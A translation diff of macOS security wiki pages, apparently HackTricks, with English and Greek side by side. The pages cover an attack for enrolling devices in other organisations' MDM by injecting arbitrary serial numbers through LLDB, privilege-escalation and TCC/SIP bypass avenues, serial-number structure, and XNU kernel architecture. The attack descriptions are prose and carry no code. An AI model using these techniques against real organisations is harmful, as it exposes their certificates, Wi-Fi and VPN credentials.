- Χρησιμοποιεί το προηγουμένως εγκατεστημένο payload MDM:
- **`ServerURLPinningCertificateUUIDs`** για pinning του αιτήματος
- **`IdentityCertificateUUID`** για το πιστοποιητικό πελάτη TLS
## Attacks
## Επιθέσεις
### Enrolling Devices in Other Organisations
### Εγγραφή Συσκευών σε Άλλες Οργανώσεις
As previously commented, in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected:
Όπως έχει σχολιαστεί προηγουμένως, προκειμένου να προσπαθήσετε να εγγράψετε μια συσκευή σε μια οργάνωση **χρειάζεται μόνο ένας Αριθμός Σειράς που ανήκει σε αυτή την Οργάνωση**. Μόλις η συσκευή εγγραφεί, πολλές οργανώσεις θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικούς πρόσβασης WiFi, ρυθμίσεις VPN [και ούτω καθεξής](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Επομένως, αυτό θα μπορούσε να είναι ένα επικίνδυνο σημείο εισόδου για τους επιτιθέμενους εάν η διαδικασία εγγραφής δεν προστατεύεται σωστά:
{{#ref}}
enrolling-devices-in-other-organisations.md

View File

@ -1,53 +1,53 @@
# Enrolling Devices in Other Organisations
# Εγγραφή Συσκευών σε Άλλες Οργανώσεις
{{#include ../../../banners/hacktricks-training.md}}
## Intro
## Εισαγωγή
As [**previously commented**](./#what-is-mdm-mobile-device-management)**,** in order to try to enrol a device into an organization **only a Serial Number belonging to that Organization is needed**. Once the device is enrolled, several organizations will install sensitive data on the new device: certificates, applications, WiFi passwords, VPN configurations [and so on](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Therefore, this could be a dangerous entrypoint for attackers if the enrolment process isn't correctly protected.
Όπως [**αναφέρθηκε προηγουμένως**](./#what-is-mdm-mobile-device-management)**,** για να προσπαθήσετε να εγγράψετε μια συσκευή σε μια οργάνωση **χρειάζεται μόνο ένας Αριθμός Σειράς που ανήκει σε αυτή την Οργάνωση**. Μόλις η συσκευή εγγραφεί, πολλές οργανώσεις θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικούς πρόσβασης WiFi, ρυθμίσεις VPN [και ούτω καθεξής](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
Επομένως, αυτό θα μπορούσε να είναι ένα επικίνδυνο σημείο εισόδου για επιτιθέμενους αν η διαδικασία εγγραφής δεν προστατεύεται σωστά.
**The following is a summary of the research [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Check it for further technical details!**
**Ακολουθεί μια περίληψη της έρευνας [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). Ελέγξτε το για περαιτέρω τεχνικές λεπτομέρειες!**
## Overview of DEP and MDM Binary Analysis
## Επισκόπηση Ανάλυσης Δυαδικών DEP και MDM
This research delves into the binaries associated with the Device Enrollment Program (DEP) and Mobile Device Management (MDM) on macOS. Key components include:
Αυτή η έρευνα εμβαθύνει στα δυαδικά αρχεία που σχετίζονται με το Πρόγραμμα Εγγραφής Συσκευών (DEP) και τη Διαχείριση Κινητών Συσκευών (MDM) στο macOS. Τα κύρια συστατικά περιλαμβάνουν:
- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4.
- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later.
- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles.
- **`mdmclient`**: Επικοινωνεί με τους διακομιστές MDM και ενεργοποιεί τις εγγραφές DEP σε εκδόσεις macOS πριν από την 10.13.4.
- **`profiles`**: Διαχειρίζεται τα Προφίλ Ρύθμισης και ενεργοποιεί τις εγγραφές DEP σε εκδόσεις macOS 10.13.4 και μεταγενέστερες.
- **`cloudconfigurationd`**: Διαχειρίζεται τις επικοινωνίες API DEP και ανακτά τα προφίλ Εγγραφής Συσκευών.
DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC.
Οι εγγραφές DEP χρησιμοποιούν τις συναρτήσεις `CPFetchActivationRecord` και `CPGetActivationRecord` από το ιδιωτικό πλαίσιο Προφίλ Ρύθμισης για να ανακτήσουν το Activation Record, με το `CPFetchActivationRecord` να συντονίζεται με το `cloudconfigurationd` μέσω XPC.
## Tesla Protocol and Absinthe Scheme Reverse Engineering
## Ανάλυση Αντίστροφης Μηχανικής Πρωτοκόλλου Tesla και Σχεδίου Absinthe
The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request.
Η εγγραφή DEP περιλαμβάνει το `cloudconfigurationd` να στέλνει ένα κρυπτογραφημένο, υπογεγραμμένο JSON payload στο _iprofiles.apple.com/macProfile_. Το payload περιλαμβάνει τον αριθμό σειράς της συσκευής και την ενέργεια "RequestProfileConfiguration". Το σχήμα κρυπτογράφησης που χρησιμοποιείται αναφέρεται εσωτερικά ως "Absinthe". Η αποκωδικοποίηση αυτού του σχήματος είναι περίπλοκη και περιλαμβάνει πολλές διαδικασίες, γεγονός που οδήγησε στην εξερεύνηση εναλλακτικών μεθόδων για την εισαγωγή αυθαίρετων αριθμών σειράς στην αίτηση Activation Record.
## Proxying DEP Requests
## Διαμεσολάβηση Αιτημάτων DEP
Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key.
Οι προσπάθειες να παρεμποδιστούν και να τροποποιηθούν τα αιτήματα DEP προς το _iprofiles.apple.com_ χρησιμοποιώντας εργαλεία όπως το Charles Proxy εμποδίστηκαν από την κρυπτογράφηση του payload και τα μέτρα ασφαλείας SSL/TLS. Ωστόσο, η ενεργοποίηση της ρύθμισης `MCCloudConfigAcceptAnyHTTPSCertificate` επιτρέπει την παράκαμψη της επικύρωσης του πιστοποιητικού διακομιστή, αν και η κρυπτογραφημένη φύση του payload εμποδίζει ακόμα την τροποποίηση του αριθμού σειράς χωρίς το κλειδί αποκρυπτογράφησης.
## Instrumenting System Binaries Interacting with DEP
## Εργαλειοποίηση Δυαδικών Συστήματος που Αλληλεπιδρούν με το DEP
Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing.
Η εργαλειοποίηση δυαδικών συστημάτων όπως το `cloudconfigurationd` απαιτεί την απενεργοποίηση της Προστασίας Ακεραιότητας Συστήματος (SIP) στο macOS. Με την SIP απενεργοποιημένη, εργαλεία όπως το LLDB μπορούν να χρησιμοποιηθούν για να συνδεθούν σε διαδικασίες συστήματος και ενδεχομένως να τροποποιήσουν τον αριθμό σειράς που χρησιμοποιείται στις αλληλεπιδράσεις API DEP. Αυτή η μέθοδος είναι προτιμότερη καθώς αποφεύγει τις πολυπλοκότητες των δικαιωμάτων και της υπογραφής κώδικα.
**Exploiting Binary Instrumentation:**
Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved:
**Εκμετάλλευση Δυαδικής Εργαλειοποίησης:**
Η τροποποίηση του payload αίτησης DEP πριν από την σειριοποίηση JSON στο `cloudconfigurationd` αποδείχθηκε αποτελεσματική. Η διαδικασία περιλάμβανε:
1. Attaching LLDB to `cloudconfigurationd`.
2. Locating the point where the system serial number is fetched.
3. Injecting an arbitrary serial number into the memory before the payload is encrypted and sent.
1. Σύνδεση του LLDB στο `cloudconfigurationd`.
2. Εντοπισμός του σημείου όπου ανακτάται ο αριθμός σειράς του συστήματος.
3. Εισαγωγή ενός αυθαίρετου αριθμού σειράς στη μνήμη πριν από την κρυπτογράφηση και την αποστολή του payload.
This method allowed for retrieving complete DEP profiles for arbitrary serial numbers, demonstrating a potential vulnerability.
Αυτή η μέθοδος επέτρεψε την ανάκτηση πλήρων προφίλ DEP για αυθαίρετους αριθμούς σειράς, αποδεικνύοντας μια πιθανή ευπάθεια.
### Automating Instrumentation with Python
### Αυτοματοποίηση Εργαλειοποίησης με Python
The exploitation process was automated using Python with the LLDB API, making it feasible to programmatically inject arbitrary serial numbers and retrieve corresponding DEP profiles.
Η διαδικασία εκμετάλλευσης αυτοματοποιήθηκε χρησιμοποιώντας Python με το API LLDB, καθιστώντας εφικτή την προγραμματισμένη εισαγωγή αυθαίρετων αριθμών σειράς και την ανάκτηση των αντίστοιχων προφίλ DEP.
### Potential Impacts of DEP and MDM Vulnerabilities
### Πιθανές Επιπτώσεις Ευπαθειών DEP και MDM
The research highlighted significant security concerns:
Η έρευνα ανέδειξε σημαντικές ανησυχίες ασφαλείας:
1. **Information Disclosure**: By providing a DEP-registered serial number, sensitive organizational information contained in the DEP profile can be retrieved.
1. **Αποκάλυψη Πληροφοριών**: Παρέχοντας έναν αριθμό σειράς που είναι εγγεγραμμένος στο DEP, μπορεί να ανακτηθεί ευαίσθητη οργανωτική πληροφορία που περιέχεται στο προφίλ DEP.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,37 +4,37 @@
## Basic Information
Apple devices post-2010 have serial numbers consisting of **12 alphanumeric characters**, each segment conveying specific information:
Οι συσκευές της Apple μετά το 2010 έχουν σειριακούς αριθμούς που αποτελούνται από **12 αλφαριθμητικούς χαρακτήρες**, κάθε τμήμα μεταφέρει συγκεκριμένες πληροφορίες:
- **First 3 Characters**: Indicate the **manufacturing location**.
- **Characters 4 & 5**: Denote the **year and week of manufacture**.
- **Characters 6 to 8**: Serve as a **unique identifier** for each device.
- **Last 4 Characters**: Specify the **model number**.
- **Πρώτοι 3 Χαρακτήρες**: Υποδεικνύουν την **τοποθεσία κατασκευής**.
- **Χαρακτήρες 4 & 5**: Δηλώνουν το **έτος και την εβδομάδα κατασκευής**.
- **Χαρακτήρες 6 έως 8**: Λειτουργούν ως **μοναδικός αναγνωριστικός αριθμός** για κάθε συσκευή.
- **Τελευταίοι 4 Χαρακτήρες**: Προσδιορίζουν τον **αριθμό μοντέλου**.
For instance, the serial number **C02L13ECF8J2** follows this structure.
Για παράδειγμα, ο σειριακός αριθμός **C02L13ECF8J2** ακολουθεί αυτή τη δομή.
### **Manufacturing Locations (First 3 Characters)**
Certain codes represent specific factories:
Ορισμένοι κωδικοί αντιπροσωπεύουν συγκεκριμένα εργοστάσια:
- **FC, F, XA/XB/QP/G8**: Various locations in the USA.
- **RN**: Mexico.
- **CK**: Cork, Ireland.
- **VM**: Foxconn, Czech Republic.
- **SG/E**: Singapore.
- **MB**: Malaysia.
- **PT/CY**: Korea.
- **EE/QT/UV**: Taiwan.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Different locations in China.
- **C0, C3, C7**: Specific cities in China.
- **RM**: Refurbished devices.
- **FC, F, XA/XB/QP/G8**: Διάφορες τοποθεσίες στις ΗΠΑ.
- **RN**: Μεξικό.
- **CK**: Κορκ, Ιρλανδία.
- **VM**: Foxconn, Τσεχική Δημοκρατία.
- **SG/E**: Σιγκαπούρη.
- **MB**: Μαλαισία.
- **PT/CY**: Κορέα.
- **EE/QT/UV**: Ταϊβάν.
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: Διάφορες τοποθεσίες στην Κίνα.
- **C0, C3, C7**: Συγκεκριμένες πόλεις στην Κίνα.
- **RM**: Ανακατασκευασμένες συσκευές.
### **Year of Manufacturing (4th Character)**
This character varies from 'C' (representing the first half of 2010) to 'Z' (second half of 2019), with different letters indicating different half-year periods.
Αυτός ο χαρακτήρας ποικίλλει από 'C' (που αντιπροσωπεύει το πρώτο εξάμηνο του 2010) έως 'Z' (δεύτερο εξάμηνο του 2019), με διαφορετικά γράμματα να υποδεικνύουν διαφορετικές περιόδους εξαμήνου.
### **Week of Manufacturing (5th Character)**
Digits 1-9 correspond to weeks 1-9. Letters C-Y (excluding vowels and 'S') represent weeks 10-27. For the second half of the year, 26 is added to this number.
Οι ψηφία 1-9 αντιστοιχούν στις εβδομάδες 1-9. Τα γράμματα C-Y (εξαιρουμένων των φωνηέντων και του 'S') αντιπροσωπεύουν τις εβδομάδες 10-27. Για το δεύτερο εξάμηνο του έτους, προστίθεται το 26 σε αυτόν τον αριθμό.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,33 +1,18 @@
# macOS Security & Privilege Escalation
# macOS Ασφάλεια & Κλιμάκωση Δικαιωμάτων
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
## Βασικά MacOS
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
Αν δεν είστε εξοικειωμένοι με το macOS, θα πρέπει να αρχίσετε να μαθαίνετε τα βασικά του macOS:
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic MacOS
If you are not familiar with macOS, you should start learning the basics of macOS:
- Special macOS **files & permissions:**
- Ειδικά αρχεία & δικαιώματα macOS:
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Common macOS **users**
- Κοινές χρήστες macOS
{{#ref}}
macos-users.md
@ -39,92 +24,92 @@ macos-users.md
macos-applefs.md
{{#endref}}
- The **architecture** of the k**ernel**
- Η **αρχιτεκτονική** του k**ernel**
{{#ref}}
mac-os-architecture/
{{#endref}}
- Common macOS n**etwork services & protocols**
- Κοινές υπηρεσίες & πρωτόκολλα δικτύου macOS
{{#ref}}
macos-protocols.md
{{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
- **Ανοιχτού κώδικα** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- Για να κατεβάσετε ένα `tar.gz`, αλλάξτε μια διεύθυνση URL όπως [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) σε [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**:
Σε εταιρείες, τα συστήματα **macOS** είναι πολύ πιθανό να είναι **διαχειριζόμενα με MDM**. Επομένως, από την προοπτική ενός επιτιθέμενου είναι ενδιαφέρον να γνωρίζει **πώς λειτουργεί**:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspecting, Debugging and Fuzzing
### MacOS - Επιθεώρηση, Αποσφαλμάτωση και Fuzzing
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Security Protections
## Προστασίες Ασφαλείας MacOS
{{#ref}}
macos-security-protections/
{{#endref}}
## Attack Surface
## Επιφάνεια Επίθεσης
### File Permissions
### Δικαιώματα Αρχείων
If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\
This could occur in the following situations:
Αν μια **διαδικασία που εκτελείται ως root γράφει** ένα αρχείο που μπορεί να ελεγχθεί από έναν χρήστη, ο χρήστης θα μπορούσε να το εκμεταλλευτεί για να **κλιμακώσει τα δικαιώματα**.\
Αυτό θα μπορούσε να συμβεί στις παρακάτω καταστάσεις:
- File used was already created by a user (owned by the user)
- File used is writable by the user because of a group
- File used is inside a directory owned by the user (the user could create the file)
- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file)
- Το αρχείο που χρησιμοποιήθηκε είχε ήδη δημιουργηθεί από έναν χρήστη (ανήκει στον χρήστη)
- Το αρχείο που χρησιμοποιήθηκε είναι εγγράψιμο από τον χρήστη λόγω ομάδας
- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στον χρήστη (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
- Το αρχείο που χρησιμοποιήθηκε είναι μέσα σε έναν φάκελο που ανήκει στο root αλλά ο χρήστης έχει δικαίωμα εγγραφής σε αυτόν λόγω ομάδας (ο χρήστης θα μπορούσε να δημιουργήσει το αρχείο)
Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place.
Η δυνατότητα **δημιουργίας ενός αρχείου** που πρόκειται να **χρησιμοποιηθεί από το root**, επιτρέπει σε έναν χρήστη να **εκμεταλλευτεί το περιεχόμενό του** ή ακόμη και να δημιουργήσει **symlinks/hardlinks** για να το δείξει σε άλλη τοποθεσία.
For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**:
Για αυτού του είδους τις ευπάθειες, μην ξεχάσετε να **ελέγξετε ευάλωτους εγκαταστάτες `.pkg`**:
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### File Extension & URL scheme app handlers
### Χειριστές εφαρμογών Επέκτασης Αρχείου & URL
Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols
Περίεργες εφαρμογές που έχουν καταχωρηθεί με επεκτάσεις αρχείων θα μπορούσαν να εκμεταλλευτούν και διαφορετικές εφαρμογές μπορούν να καταχωρηθούν για να ανοίγουν συγκεκριμένα πρωτόκολλα
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
## macOS TCC / SIP Privilege Escalation
## macOS TCC / SIP Κλιμάκωση Δικαιωμάτων
In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others.
Στο macOS, **οι εφαρμογές και τα δυαδικά αρχεία μπορούν να έχουν δικαιώματα** για πρόσβαση σε φακέλους ή ρυθμίσεις που τους καθιστούν πιο προνομιούχες από άλλες.
Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs).
Επομένως, ένας επιτιθέμενος που θέλει να συμβιβάσει επιτυχώς μια μηχανή macOS θα χρειαστεί να **κλιμακώσει τα δικαιώματα TCC** (ή ακόμη και **να παρακάμψει το SIP**, ανάλογα με τις ανάγκες του).
These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**.
Αυτά τα δικαιώματα δίνονται συνήθως με τη μορφή **δικαιωμάτων** με τα οποία είναι υπογεγραμμένη η εφαρμογή, ή η εφαρμογή μπορεί να ζητήσει κάποιες προσβάσεις και μετά την **έγκριση τους από τον χρήστη** μπορούν να βρεθούν στις **βάσεις δεδομένων TCC**. Ένας άλλος τρόπος με τον οποίο μια διαδικασία μπορεί να αποκτήσει αυτά τα δικαιώματα είναι να είναι **παιδί μιας διαδικασίας** με αυτά τα **δικαιώματα**, καθώς συνήθως **κληρονομούνται**.
Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses).
Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για να [**κλιμακώσετε δικαιώματα στο TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), για να [**παρακάμψετε το TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) και πώς στο παρελθόν [**το SIP έχει παρακαμφθεί**](macos-security-protections/macos-sip.md#sip-bypasses).
## macOS Traditional Privilege Escalation
## macOS Παραδοσιακή Κλιμάκωση Δικαιωμάτων
Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints:
Φυσικά, από την προοπτική των κόκκινων ομάδων, θα πρέπει επίσης να ενδιαφέρεστε να κλιμακώσετε σε root. Ελέγξτε την παρακάτω ανάρτηση για μερικές συμβουλές:
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
## macOS Compliance
## Συμμόρφωση macOS
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
## References
## Αναφορές
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
@ -132,19 +117,4 @@ macos-privilege-escalation.md
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,36 +4,36 @@
## XNU Kernel
The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**.
Ο **πυρήνας του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωδώς από τον **Mach μικροπυρήνα** (θα συζητηθεί αργότερα), **και** στοιχεία από την Berkeley Software Distribution (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **οδηγούς πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του ανοιχτού κώδικα έργου Darwin, που σημαίνει ότι **ο πηγαίος κώδικας του είναι ελεύθερα προσβάσιμος**.
From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages.
Από την προοπτική ενός ερευνητή ασφαλείας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φαίνεται αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή GUI και μια σειρά από προσαρμοσμένες εφαρμογές. Οι περισσότερες εφαρμογές που αναπτύσσονται για BSD θα μεταγλωττιστούν και θα εκτελούνται στο macOS χωρίς να χρειάζονται τροποποιήσεις, καθώς τα εργαλεία γραμμής εντολών που είναι οικεία στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει τον Mach, υπάρχουν κάποιες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος παρόμοιου με Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν πιθανά προβλήματα ή να προσφέρουν μοναδικά πλεονεκτήματα.
Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
Ανοιχτός κώδικας έκδοση του XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**.
Ο Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με UNIX**. ΈPrinciple του σχεδιασμού του ήταν να **ελαχιστοποιήσει** την ποσότητα του **κώδικα** που εκτελείται στον **χώρο πυρήνα** και αντίθετα να επιτρέπει πολλές τυπικές λειτουργίες του πυρήνα, όπως το σύστημα αρχείων, το δίκτυο και το I/O, να **εκτελούνται ως εργασίες επιπέδου χρήστη**.
In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management.
Στον XNU, ο Mach είναι **υπεύθυνος για πολλές από τις κρίσιμες χαμηλού επιπέδου λειτουργίες** που συνήθως χειρίζεται ένας πυρήνας, όπως ο προγραμματισμός επεξεργαστή, η πολυδιεργασία και η διαχείριση εικονικής μνήμης.
### BSD
The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including:
Ο πυρήνας XNU **ενσωματώνει** επίσης μια σημαντική ποσότητα κώδικα που προέρχεται από το έργο **FreeBSD**. Αυτός ο κώδικας **εκτελείται ως μέρος του πυρήνα μαζί με τον Mach**, στον ίδιο χώρο διευθύνσεων. Ωστόσο, ο κώδικας FreeBSD μέσα στον XNU μπορεί να διαφέρει σημαντικά από τον αρχικό κώδικα FreeBSD επειδή απαιτήθηκαν τροποποιήσεις για να διασφαλιστεί η συμβατότητά του με τον Mach. Το FreeBSD συμβάλλει σε πολλές λειτουργίες του πυρήνα, συμπεριλαμβανομένων:
- Process management
- Signal handling
- Basic security mechanisms, including user and group management
- System call infrastructure
- TCP/IP stack and sockets
- Firewall and packet filtering
- Διαχείριση διεργασιών
- Διαχείριση σημάτων
- Βασικοί μηχανισμοί ασφαλείας, συμπεριλαμβανομένης της διαχείρισης χρηστών και ομάδων
- Υποδομή κλήσεων συστήματος
- Στοίβα TCP/IP και υποδοχές
- Τείχος προστασίας και φιλτράρισμα πακέτων
Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure.
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι περίπλοκη, λόγω των διαφορετικών εννοιολογικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη θεμελιώδη μονάδα εκτέλεσης του, ενώ ο Mach λειτουργεί με βάση τα νήματα. Αυτή η διαφορά συμφιλιώνεται στον XNU με την **συσχέτιση κάθε διεργασίας BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί τις λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος.
Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel.
Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφαλείας**: το μοντέλο ασφαλείας του **Mach** βασίζεται στα **δικαιώματα θυρών**, ενώ το μοντέλο ασφαλείας του BSD λειτουργεί με βάση την **ιδιοκτησία διεργασίας**. Οι διαφορές μεταξύ αυτών των δύο μοντέλων έχουν κατά καιρούς οδηγήσει σε τοπικές ευπάθειες ανύψωσης προνομίων. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν στα προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία μαζί σχηματίζουν την πολύπλευρη, υβριδική αρχιτεκτονική του πυρήνα macOS.
### I/O Kit - Drivers
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
Το I/O Kit είναι ένα ανοιχτού κώδικα, αντικειμενοστραφές **πλαίσιο οδηγών συσκευών** στον πυρήνα XNU, που χειρίζεται **δυναμικά φορτωμένους οδηγούς συσκευών**. Επιτρέπει την προσθήκη αρθρωτού κώδικα στον πυρήνα εν κινήσει, υποστηρίζοντας ποικιλία υλικού.
{{#ref}}
macos-iokit.md
@ -47,9 +47,9 @@ macos-iokit.md
## macOS Kernel Extensions
macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found).
